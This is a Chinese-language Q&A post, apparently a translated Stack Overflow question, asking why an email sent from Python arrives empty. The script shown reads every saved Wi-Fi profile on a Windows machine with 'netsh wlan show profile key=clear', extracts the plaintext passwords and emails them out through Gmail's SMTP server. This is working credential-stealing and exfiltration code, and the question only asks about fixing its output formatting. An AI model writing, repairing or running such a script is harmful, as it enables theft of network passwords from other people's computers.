用python发送的电子邮件为空

时间:2018-12-23 21:22:44

标签: python python-2.7 smtp smtplib

我正在编写一个程序,执行一个Windows命令,该命令显示当前系统上已保存的wifi密码,并通过电子邮件发送结果,但是我运行该程序时,它发送的电子邮件为空

#!/usr/bin/env python

import subprocess
import smtplib
import re


def get_name(regex, string):
    names_list = re.findall(regex, string)
    return_list = ""
    for name in names_list:
        return_list = return_list + name
    return return_list


def get_password(regex, string):
    password_list = re.findall(regex, string)
    return_list = ""
    for password in password_list:
        return_list = return_list + password
    return return_list


def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        # Crafts and sends email .sendmail(from, to, content)
        server.sendmail(email, email, message)
        server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = ""
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + " key=clear"
    current_result = subprocess.check_output(command, shell=True)
    names_list = get_name("(?:Name\s*:\s)(.*)", current_result)
    #print(names_list)
    password_list = get_password( "(?:Key Content\s.*:\s)(.*)", 
                                   current_result)
    #print(password_list)
    result = result + "Names: " + names_list + " Passwords: " + 
             password_list 

#print(result)
send_mail(email, password, result)

最后注释的print()显示存储在result变量中的wifi名称和密码,但是当我在result函数中传递send_mail()时,我收到的电子邮件为空

edit:当我尝试使用result = result + "Names: " + names_list + password_list时,它省略了添加names_list变量,仅发送包含password_list变量的电子邮件,我希望该电子邮件阅读Name: names_list password: password_list在不同的行上输入名称和密码

0 个答案:

没有答案